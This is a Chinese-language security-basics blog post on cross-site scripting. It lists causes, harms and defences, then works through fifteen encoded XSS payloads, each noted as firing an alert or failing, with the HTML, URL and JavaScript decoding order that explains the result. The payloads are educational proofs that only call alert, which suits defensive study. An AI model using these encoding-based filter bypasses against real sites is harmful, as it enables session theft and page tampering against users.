当前位置：网站首页>安全基础8 ---XSS

安全基础8 ---XSS

2022-08-03 20:58:00 【抱小猫】

XSS---跨站脚本攻击

产生原因

XSS---跨站脚本攻击

产生原因

对用户的输入没有过滤，用户提交的数据中有恶意代码被输入到服务器

危害（作用点的不同而不同）

盗取被攻击者的 cookie 值，进行身份冒充
网页篡改---js 中某些函数可以获取并且重新复制 HTML 的标签值
删除页面---通过改变页面的某些值（如：将值改为空值）将页面删除
流量劫持---如：小网页增大流量的方式：1.正常操作---引流----送钱、打广告、 2.非常规(违法行为)---利用 XSS 漏洞自动请求流量较小的网站或在其他网站上添加二维码
钓鱼网站
配合 CSRF 攻击---ajax、window.location

防御手段

将关键字进行过滤
将特殊字符转换成字符串-->实体化编码

XSS paylaod

测试网站：http://test.attacker-domain.com/browserparsing/tests.html

1、

<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29"></a>

没有编码成功（解码顺序：先实体编码-->Unicode-->js中的Unicode编码）

原因：没有实体编码-->进行Unicode编码，但是协议不能Unicode编码，URL规定协议、用户名、密码都必须是ASCII，否则识别不了

2、

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">Click me</a>

成功：先进行实体解码 --> href中为URL，URL模块可以实别为JavaScript协议，进行URL解码 --> JS模块处理后执行

3、

<a href="javascript%3aalert(3)">Click me</a>

失败：编码了协议，Unicode编码识别不了协议，所以弹窗失败

4、

<div>&#60;img src=x onerror=alert(4)&#62;</div>

<img src=x onerror=alert(4)>

失败，img标签在正常状态下可以解析，为什么img标签解析不了？

原因：是解析器在解析这个字符引用后不会转换到"标签开始状态"。正因为如此，就不会建立新标签。因此，我们能够利用字符实体编码这个行为来转义用户输入的数据从而确保用户输入的数据只能被解析成"数据"。标签没有进入开始状态，弹窗就不会出来

5、

<textarea>&#60;script&#62;alert(5)&#60;/script&#62;</textarea>

可以解析，标签没有进入开始状态

6、

<textarea><script>alert(6)</script></textarea>

原因：<title>和<textarea>标签中的字符引用会被HTML解析器解码。在解析这些字符引用的过程中不会进入“标签开始状态"。 <textarea>不能执行脚本，只能容纳文本或字符引用

7、

<button onclick="confirm('7&#39;);">Button</button>

成功执行，先解析实体编码，onclick中属性值会被HTML解码，识别成功后执行

8、

<button onclick="confirm('8\u0027);">Button</button>

失败原因：使用js编码，js编码可以容纳Unicode编码，但是在js中不能编码符号（如：括号、等号.......）

9、

<script>&#97;&#108;&#101;&#114;&#116&#40;&#57;&#41;&#59</script>

没有弹窗原因：编码了alert，<script>标签中属于原始文本，但是原始文本只能容纳文本，没有字符引用，无法执行

10、

<script>\u0061\u006c\u0065\u0072\u0074(10);</script>

成功，利用js中的Unicode编码，但是仅编码了字符，可以成功

11、

<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>

失败，利用js中的Unicode编码了括号

12、

<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>

失败，js运行时，里面有字符串需要使用引号包裹起来才能运行，js中使用Unicode编码数字时解码后成为字符串，所以需要引号包裹。

13、

<script>alert('13\u0027)</script>

失败，利用js中的Unicode编码了符号

14、

<script>alert('14\u000a')</script>

成功，编码没问题，都存在

15、

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&# x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x3 5;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30; &#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&# x33;&#x34;&#x28;&#x31;&#x35;&#x29;">Click me</a>